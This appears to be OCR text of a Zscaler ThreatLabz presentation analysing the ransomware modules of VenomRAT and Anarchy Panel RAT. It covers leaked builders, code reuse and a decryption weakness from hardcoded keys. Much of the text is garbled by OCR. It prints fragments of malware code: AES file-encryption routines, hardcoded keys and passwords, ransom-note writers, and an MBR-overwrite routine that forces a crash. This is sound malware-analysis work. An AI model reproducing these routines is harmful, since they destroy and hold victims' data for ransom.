. _ C:\ \ _ . _
Encryption Key -M:\ -3\ -G\ - D:\
- L:\ - 1I:\ : :

Targeted File Extensions

Venom

extension

CO =1 Oy N o Lo D =

|
=

Target File Locations

Target Filegxtensions:

xt;yjpeqg,qg1t,jpg, png,docx, php,cs,cpp, rar, zip,html, htm, x1sx, avi,mp4,aif,cda,mid, midi, mp3,mpa, ogg,wav,wma, wp

l,7z,arj,deb,pkg, rar, rpm, z, zip,bin,dmg, iso, toast, ved, csv,dat,db,dbf, log,mdb, sav, sql, tar,xml, apk,bat,bin, cg

i,pl,com,exe,gadget, jar,py,wsf, fnt, fon,otf, ttf,ai,bmp,gif, ico, jpeyg, jpg,png,ps,psd, svg, tif,tiff,asp,aspx,ce

r,cfm,cgi,pl,css,htm,html, js, jsp, part, php, py, rss, xhtml, key, odp, pps, ppt,pptx, c,class, cpp,cs,h, java, sh, swirlt

,vb,ods,xlr,xls,xlsx,bak,cab,cfg,cpl,cur,dll,dmp,drv,icns,ico,ini, Ink,msi, sys, tmp, 3g2, 3g,avi, flv,h264,mév,

mkv, mov,mp4, mpg, mped, rm, swt, vob, wmv
I
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(fileInfo. s TileInfo. + crypt uzantisi,

S SN

inputFile, outputFile, [] passwordBytes)

oW

R

B0 o~ O W s W R
-

—r

LRI

1
2
3
4)
5
6

Key Generation

[N "

[ ]

Y
H

=ile’—'=a1 fileStream = FileStrea
jndaelManaged rijndaelManaged =
rljndaellanaged = 256;
rijndaelManaged. = 128;
Rfc2898DeriveBytes rfc2898DeriveBytes = i1fc28980eriveBytes (passwordBytes, salt, 1666);
rljndaellanaged = rfc2898DeriveBytes.oet (rijndaelManaged. /! 8);
rijndaelManaged. = rfc2898DeriveBytes.GetBytes(rijndaelManaged. !
rijndaelManaged. = PaddingMode. 5
rijndaelﬁanaged = CipherMode. 3
yptoStream cryptoStream = Cryptostream(fileStream, rijndaelManaged.Create

Key: 6d 29 e5 d8 7b 96 5e 99 40 f4 1d c9 ¢S 11 43 4e fe 3d 1d eb fb 2e 5f 83 45 Oc da f7 1a 95 bo
IV: 95 ce a7 9c 9f 4e 88 52 2c c8 18 db6 96 5d 4c 80




. 5> zscaler
VenomRAT - Ransomware Module - Decryption - ;'H'r’éfﬂ'_'ab;

directory, string password, string extension

m

foreach (FileInfo fileInfo in new DirectoryInfo(directory).GetFiles("*." + extension, SearchOption. )

module2. (fileInfo. , fileInfo. .Replace(extension, string.Empty), new byte[]

inputFile, string outputFile, byte[] passwordBytes)

(i)

-

-
T
o
I
;
L
r
;
f

. W -
=~
=t

-
-

O = @ WU B W R
~

-

-

[

-

GO = O W & W pa
~

¥i
FileStream fileStream = new FileStream{inputFile,

RijndaelManaged rijndaelManaged = new RijndaelMa
rijndaelManaged. = 256;

rijndaelManaged. = 128;
Rfc2898DeriveBytes rfc2898DeriveBytes = new c2898DeriveBytes(passwordBytes, salt, 1000);
/ 8);
rijndaelManaged. = rfc2898DeriveBytes.GetBytes(rijndaelManaged. / 8);
rijndaelManaged. = PaddingMode. H
rijndaelManaged. = CipherMode. H
CryptoStream cryptoStream = new CryptoStream(fileStream, rijndaelManaged CPEEt&DECPyStOP()& CryptoStreamMode. DE
FileStream fileStream2 = new FileStream(outputFile, FileMode. NE

rijndaelManaged. = rfc2898DeriveBytes.G




VenomRAT Analysis - Ransomware Module

&> zscaler

ThreatLaba

Due to the hardcoded Decryption Key and IV generation in the Decryptor we will be able to

decrypt the files by providing any random decryption password to the Decryptor.

| | hello.b(}.Venom

VENOM File 1KB

& C:\Userf\knight\Desktop\hello.txt.Venom - Notepad+ +

File Edit/Search View Encoding Language Settings

ERLE 4 Wh el 2s

P

Elnelio st venom 3 | File encrypted by VenomRAT ransomware module

- O >

Tools Macro Run Plugins Window ?
+ ¥ X

BRI EDETR= ®|

1 B/3PJ
2 [ENOFSREZDC 4 ol C 2 N g

-~

length: 16 lines: Ln:1 Col:1 Pos:1

Decryptor v0.2d

Provide any random password to
the decryptor and it decrypts the
files

sEHBRLE sk |y @x|BEIS

B hello bt Venom 3 hello.bxt E1

1 | Bi_BotConf 2023ER

Decrypted File

|C:\Users'knight \Désktop
i

Path

Clipboard |am'pas=wm:l

| | Venom|
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VenomRAT Analysis - Ransomware Module ThreatlLaba

« And decrypt any files with the following Key and IV Value irrespective of the password:
* Key: 6d29e5d87b965e 994014 1d c9 c9 11 43 4e fe 3d 1d eb fb 2e 5f 83 45 Oc da 7 1a 95 b0 37
* |V:95cea79c 9f 4e 88 52 2c c8 18 d6 96 5d 4c 80

AES Decrypt o n

Key

6d 29 e5 d8 7b 96 Se 99 4@ 4.  EXT *

Name: hello.txt.Venom

v B Size: 16 bytes
- 88 52 2c c8 18 d6 96 5d 4c 89  EXT File icon
Type: unknown
Mode Input Output Loaded: 100%
CBC Raw Raw
time: 2ms I_
length: 16
OUtpLIt lines: 1 a D m

Hi_BotConf_2023.



VenomRAT - Ransomware Module — Ransom Note

useriame

str = "C:

str2 = "//Desktop//H
StreamWriter streamWriter =

streamWriter.
streamWriter.lri
streamWriter.lri
streamWriter.lri
streamWriter. lri
streamWriter.Wri
streamWriter.lri
streamWriter.lri
streamWriter.lri
streamWriter.Wri
streamWriter.Wri
streamWriter.lri
streamWriter.lri
streamWriter. lri
streamWriter.
streamWriter.F1L
streamWriter.Close
Thread. (5008);

Process. ("notepad.exe”,

Thread. (4008) ;

"Then proceed to your citys nearest
'usd *Heres a perk for you** you get to pi cy
"im seriously in suspense gas to which

W-TO-RECOVER-YOUR-FILES. txt";
StreamWriter(
ck(@L, SeekOrigin.
TO GET YOU
Go to blockchain.com create a bitcoin w if you

ing address corresponding to the crypto curre
" + btc + : b H
" + eth + : 13
"+ xmr);

Ransom note

1 and deposit exac

:) here are your choices...

.SpecialFolder.

FileStream(str + userName + str2, FileMode. , FileAccess.

b
do not possess one already...™ +
ly $999 dollars" +

rpto currency To send me wow" +
"o+

¥o

Y + "\\HOW-TO-RECOVER-YOUR-FILES.tet");

@ zscaler

hreatlLab&




VenomRAT - Ransomware Builder

The Ransomware Builder is an Open-
source project on Github named
“Ransomware-Builder-v3.0” which was
modified by the VenomRAT
developers and leveraged in the
Ransomware module

; 4 qHOsT compiled new file

DecryptorTool
RansomEBuilder
[ DecyptorToolsin

[ READMEmd

[ RansomBuilder.sin

[ RansomBuilderv11.suo

README.md

compiled new file
compiled

Ransomware Builder V3.0
Update README.md
Ransomware Builder V3.0

Ransomware Builder V3.0

@ zscaler

ThreatLabz

s8defsl on Oct 21, 2019 {012 commits

4 years ago
4 years ago
4 years ago
4 years ago
4 years ago

4 years ago

if you are using this program, you accept all responsibility. Only for educational purposes.

https://www.youtube.com/watch?v=smEHgmOoALo

&5 Ransomware Builder v3.0 - Made in Turkey



VenomRAT Ransomware Module — Connection\w ... @ zscaler

ThreatLaba
Magnus Ransomware
AES Dec o n [ hello tet magrus £ | , '

« Open-Source Ransomware " - e

Builder code was been used by t(sfj 29 5 d8 7b 96 Se 99 40 f4 1d 9 9 11 .. X7

Magnus Ransomware in the

. 95 ce a7 9 9f 4e 88 52 2 c8 18 d6 96 54 .. X Name: hello.bt.magnus

Magnus Ransomware Builder S

v4.5 Bitcoin Edition which was | ¢ - . B

released in July 2022 at $75 Loaded: 100%

 As the code is similar to the
VenomRAT Ransomware
module. The VenomRAT key

and iv value can be leveraged Output
here to decrypt the files HLTHEREL......
encrypted by the Magnus T T S — N 7. — %515

ransomware.
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VenomRAT - Leaked Builder ThreatLab&

Venom rat Cracked 2.7.0.0

TA558 campaigns used following =B
VenomRAT versions
*  VenomRAT v2.8.0.1
*  VenomRAT v2.7.0.0

These versions were cracked and
distributed on Leak Forums in 2022




@ zscaler

VenomRAT - Leaked Builder Threatlaba

Same hardcoded encryption password in the VenomRAT cracked builders ransomware
module and the VenomRAT ransomware modules identified in the TA558 campaigns

rocess. ("notepad.exe”, - .SpecialFolder. } + "\\HOW-TO-RECOVER-YOUR-FILES.txt");
Thread. (4000);
modulel. ( []
{
.SpecialFolder.
¥

1
J
{

| " 2ATBT30IKPWOEPURGFCUBHGSSIOMAK" ) ".Venom™ ) ;

L, [ 2ATBT30IKeWOEPURGFCUBHGSSICMAK", ".Venom");




Anarchy Panel RAT

« Saw Threat Actors
using Leaked Builders

» Discovered new cracked
version of “Anarchy Panel
RAT -v4.4”

 Distributed on the Leak
forums towards the end of
January 2023

Anarchy Panel RAT v4.4 Cracked - Leaked
by TheShadowHacker - Saturday January 28, 2023 at 09:35 AM

‘{

LB 8 8 & & & &4

(€10) )

@ zscaler

ThreatLabz

WWW. BAN.DICAM com . l

“ —

hatE ! ¢ ' g 'f‘.' a1t

D td I\NARCHVPAN[I.

2n0: ﬂ Volii
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Anarchy Panel RAT - Features Threatlaba

Github account with features of
Anarchy Panel RAT (Only
ReadMe file)

Ransomware & MBR Infector
Remote HVNC

Anarchy Stealer

Remote Shell

Hidden browsers

AV Evasion

q Neiorp / Anarchy-Panel-RAT-HVNC-Hidden-Apps-STEALER-Ransomware-Loader..-2023]  Public L Netific

s §9 Pullrequests () Actions [ projects @ Security |~ Insights

# main + P lbranch ©0tags Go to file m About

No description, website, or topics provided.
{2} Neiorp Update READMEmd 3764c8c onJan 6 D4 commi

[ Readme
[) READMEmd Update READMEmd lastmonth | 1star
® 1watching
= READMEmd ¥ Oforks
Anarchy Panel Releases
No releases pubishs
Packages

No packages published

Features Ransomware Module

~ Ransomware

Encrypting all disks

Decryption via a key or remotely via a panel
Blocking Task Manager, Process Hacker. .
Deleting System Restore Points

* ~ MBR Ransomware

R136al Project
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Anarchy Panel RAT - Analysis ThreatLab&

Similarity with DcCRAT Anerchy Panel RAT__

DcRAT

* Identical Configuration Routine and has
the DcRatbygwqgdnachun salt in the
AES256 Routine

* Anarchy Ransomware module code
was (:()F)|E3(j Elr](j rT]()(j|f|E§(j fr()rT] Key = Encoding.UTF8.GetString(Convert.FromBasesdstring(Key));
the DcRAT Ransomware mOdUIe Configuration Routine aes256 = new Aes256(Key);

Por_ts = aes256.Decrypt(Por_ts);

Hos ts = aes256.Decrypt(Hos ts);
Ver_sion = aes256.Decrypt(Ver_sion);
In_stall = aes256.Decrypt(In_stall);
MTX = aes256.Decrypt(MTX);

Paste_bin = aes256.Decrypt(Paste_bin);

DcRAT

An_ti = aes256.Decrypt(An_ti);

Anti_Process = aes256.Decrypt(Anti_Process);
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Anarchy Panel RAT - Leaked Builder ThreatlLabz

 Distributed on leak forums.

« The Custom Ransom Note can be specified from the Panel.

* CnC panel controls the ransomware and MBR infector module.
ANARCHY PANEL

- ’ 3 - m
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Anarchy Panel RAT - Ransomware Module Threatlohs

» There are Two Ransomware modules:

* Module 1:
* Encrypts files on the target machine
* Remotely decrypt files on the target machine from the C2 Panel
* Drops and executes the Decryptor on the target machine

* Module 2:
«  Encrypts files on the target machine
* Remotely decrypt files on the target machine from the C2 Panel
» Drops and executes the MBR Infector on the target machine
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Anarchy Panel RAT - Ransomware Module ThreatlLahe

Encryption Process

» First checks values of a specific registry key "Rans-status”, if set to "Encrypted"” the system
was already encrypted, and if registry value not found it performs following actions -

* Parses the ransom note from the packet and generates the encryption password.
* Algorithm can generate more than 7.96 quadrillion different password combinations.
* Sends the encryption password to the C2 along with the HWID

* Sets the registry key to "Encryption in progress"
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Anarchy Panel RAT - Ransomware Module Threatlohs

The module executes three functions which targeting different locations for encryption:

* System_Driver: Targets the System (C:\) Drive
* Fix_Drivers and Drivers: Targets all the fixed logical disk drives on the system except system drive

Targets following extensions:
x1lsx",

“.txt",".jar",".dat",". contact”," . settings",".doc"," .docx"," . x1s", .ppt",".pptx",".0dt"," .
ngIJII pr_IgII.,II jpeg".’ll gl_FII n CSV“ n pyII.,II Sqlll n mdbll n slr_lll n Php" n aspII.,II aspxII ”.html“.,”.htm“.,“.

.mp4"," f3d” . dwg“,“ cpp”,".zip", " ".rar", ".mov"," . rtf",

xml" “.psd”,".pdf",".c", " cs"," Vb" ".mp3",

.mkv",".avi apk" “.1nk",".72"," .ace",".arj"," .bz2"," .cab"," g71p“ . l?h" ".tar",".uue",

xz' ot @@1“ ! mpeg”," mp3"," mpg",” core”,".crproj”, pdb“ ".ico",".pas",".db"," torrent”

bmp ,

Encrypts the target files using AES Encryption with the SHA256 hash of the encryption
password and sets Rans-Status registry key to "Encrypted"

Extension for Anarchy Ransomware: s =g a1 5-5J)-aj219sj1Uain
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Anarchy Panel RAT - Ransomware Module Threatl.obs

Writes Ransom note on Desktop - README.txt and sets the registry key Rans-MSG with the
ransom note

Removes the System restore points

Downloads and sets the Anarchy Ransomware wallpaper from imgur[.Jcom

B ovetlaopng (1920<1080 x|
G () httpsy//iimgur.com

8 =
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Anarchy Panel RAT - Ransomware Module e

» Drops and executes the Decryptor embedded as a resource inside the Ransomware
module.

Writes and Executes the Decryptor - embedded as a resource

Decryption Key:

PRIVATE KEY
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Anarchy Panel RAT - Ransomware Module Threatlabg

» The Decryptor reads the encrypted files in the target disk drives while checking the
extension of the files.

» Performs AES Decryption routine with the key as the SHA256 hash of the decryption
password.

» Sets Rans-status registry key as “Decryption in progress” while decryption and sets it
to “Decrypted” once the decryption is completed.



&> zscaler

Anarchy Panel RAT v4.4 - MBR Infector Threatlabg

* In the Second Scenario, The MBR Infector is dropped and executed in place of
the Decryptor.

« The MBR Overwrite is carried out by opening the write handle to the physical device with
CreateFileA(), and then overwriting the first sector (512 bytes) of the MBR with the
Ransom note with WriteFile().

» Towards the end it causes BSOD (Blue Screen of Death) by calling NtRaiseHardError

- W EETS||| ccccococcococcoococoocoococoocoooCcCoooCCoooCOOCCOOCCoOoOCCOOCCOOCCOOCOD
i h 1 ils
o | GurlogaAndateributes 00702918 ...... C e et e e e e e e u=
3 ; duCreationDisposition oo702958| . L., . LB uT, Ba, m B6.%5. B0 %%, B*, B.%&. 8" sb. . L. . <.t 1.,
e 3 Lpsecuritydttributes N 00702998 | .GETA.. b.%B.E&..E80 .- <. t. 1.4, 80A.
oCoeoo000h : dubesiredccess Overwriting Master Boot Record (MBR)  gp702908| ALL YOUR FILES HAVE BEEN ENCRYPTED...... vour hard drives have
offset Filefiame ; “\\\\.\\ehysicalorives” 00702A18| been encrypted with military-grade encryption... The only metho
: of recoverin iles is to purchase an unique private key... 0On
deiireater 1o 00702458 | d of g Fil to purch que p te key 0
ebx, @FFFFFFFFh \ 007024958 | Ty we can give you this key and only we can recover your Tiles.
short loc 461836 O0702ADS .. To get a unigue key, write to us: .. Email:
*J\—l 00702B18 Anarchyransun@prutunmaﬂ cu:uml e o« IT yu:uu a1ready purchased
T 3\ =] 00702B58 | your Key, p'leapsehentgr it below!.. ... Enter the decrvotion key:
ush eoe p——— 00702898 . =» Errort (P * ... ..
pt H h 1
call ds:ExitProcess 10:_4610355 ) ) OOFOZ2BDEB| @ . . v i s e h e e e push L ..
Tt e T D0702C18| .cuuunnnnrnns push 19 N - = oo ooc
Puon o : IpDietancototoverigh” " T T call ds:RtlAdjustPrivilege
push -] ; lDistanceToMove lea 23X, I:EI'JFH-\-’EI“_C]
ush ebx ; hFile
gall edi ; SetFilePointer pUSh eax
mowv esi, ds:WriteFile pL.IS"'I B
lea eax, [ebp+iumberdfByteskritien] pL.IS"'I B
h @ PRt 1 d
g::h eax H lxzigeisﬁgyteswritten PUSh @ CaUSES BSOD
push 288h ; nNumberOfBytesToWrite push 8 /
h ff k Y i
il S push BCereBa28h
esi ; Writefile call ds:NtRaiseHardError
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« Spot down the source project
"CRYLINE-v5.0" based on the
PDB path present in the MBR
Infector, from which the code
was copied and modified.

¥ main v CRYLINE-v5.0 / CRYLINE v5.0 / INFECTOR / Dropper / Dropper / dropper.cpp
format 303
void _ INFECTION() first-bytes-hex 52534453 TE429CE7752C C14CBEDO9F 24 56 DF 7C 310000000043 3A 5C 55736572 73
{ age 13
guid E79C42TE-2CT5-4CC1-8EDD-OF2456DFTC31
try path C\Users\Ninja'\ Downloads\CRYLINE-v5.0-main (2)\CRYLINE-v3.0-main\,CRYLINE v3.0\NFECTOR) Dropper\Dropper\Release\ Dropper.pdb
{ stamp (62861040 (Fri Jun 24 19:28:00 2022 | UTC)

DHORD GET_WRITTEN_BYTES;
HANDLE GET_PHYSICAL_DRTVE = CreateFiled("\\\\.\\PhysicalDrived", GENERTC_READ | GENERTC_WRTTE, FILE_SHARE_RFAD | FILE_SHARE_WRITE, @, OPEN_EXISTING, 6, @)

iF (GET_PHYSICAL DRIVE == INVALID HANDLE VALUE)
{

) Overwriting MBR - Identical code in Anarchy MBR Infector module
ExitProcess(-1);

else

SetFilePointer(GET_PHYSICAL_DRIVE, 0, 8, FILE_BEGIN);
iriteFile(GET_PHYSICAL_DRIVE, MBR_ENCRYPTOR, 512, &GET_WRITTEN BYTES, NULL);

SetFilePointen(GET PHYSICAL DRIVE, 512, 8, FILE BEGIN);
lriteFile(GET PHYSICAL DRIVE, KERNEL BANNER, 1824, &GET WRITTEN BYTES, NULL);
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Conclusion ThreatLabs

e Top RATs
e Code Reuse
« Are RATs with Ransomware module the future?

« Will we see more RATSs incorporating Ransomware modules over the time for financial gain?



Thank you!
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